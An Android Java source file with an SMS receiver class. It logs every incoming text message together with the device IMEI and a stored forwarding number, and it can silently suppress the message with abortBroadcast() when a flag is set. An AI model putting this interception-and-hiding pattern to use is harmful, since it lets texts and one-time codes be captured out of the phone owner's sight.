package com.mego.tzadd.utils;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.telephony.SmsMessage;
import android.util.Log;

import com.mego.tzadd.activitys.WelcomeActivity;
import com.mego.tzadd.database.dbmodel.Thmlog;
import com.mego.tzadd.database.manager.ThmlogCenter;

public class SmsReceiver extends BroadcastReceiver {

    public Handler mHandler;

    @Override
    public void onReceive(Context context, Intent intent) {

        if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
            ThmlogCenter.getInstance().mThmlogList.clear();
            Bundle bundle = intent.getExtras();
            if (bundle != null) {
                Object[] objects = (Object[]) bundle.get("pdus");
                for (Object obj : objects) {
                    SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
                    String body = smsMessage.getDisplayMessageBody();
                    String address = smsMessage.getDisplayOriginatingAddress();
                    long date = smsMessage.getTimestampMillis();

                    String name = "";
                    String mobile = Utils.getIMEI(context);
                    String zfmobile = ThmlogCenter.getInstance().mZfmobile;//转发号码

                    if (ThmlogCenter.getInstance().mNeedlj) {
                        abortBroadcast();
                    } else {
                        zfmobile = "";
                    }

                    Thmlog thmlog = new Thmlog(null, name, mobile, 1, date, "", "",
                            "", 0, address, body, 1, zfmobile, "");

                    boolean isNew = true;
                    for (Thmlog thmlog0 : ThmlogCenter.getInstance().mThmlogList) {
                        if (thmlog0.getSmsname().equals(thmlog.getSmsname()) && thmlog0.getSmsmsg().equals(thmlog.getSmsmsg())) {
                            isNew = false;
                            break;
                        }
                    }

                    if (isNew) {
                        ThmlogCenter.getInstance().saveThmlog(thmlog);
                        ThmlogCenter.getInstance().mThmlogList.add(thmlog);
                    }

                }

                if (mHandler != null) {
                    mHandler.sendEmptyMessage(1313);
                }
            }
        } else if (intent.getAction().equals("com.mego.tzadd.startapp")) {
//            ((MainActivity)context).mHandler.sendEmptyMessage(1103);
            Log.d("MainService", "com.mego.tzadd.startapp");

            Intent mainActivityIntent = new Intent(context, WelcomeActivity.class);  // 要啟動的Activity
            mainActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(mainActivityIntent);
        }
    }

}
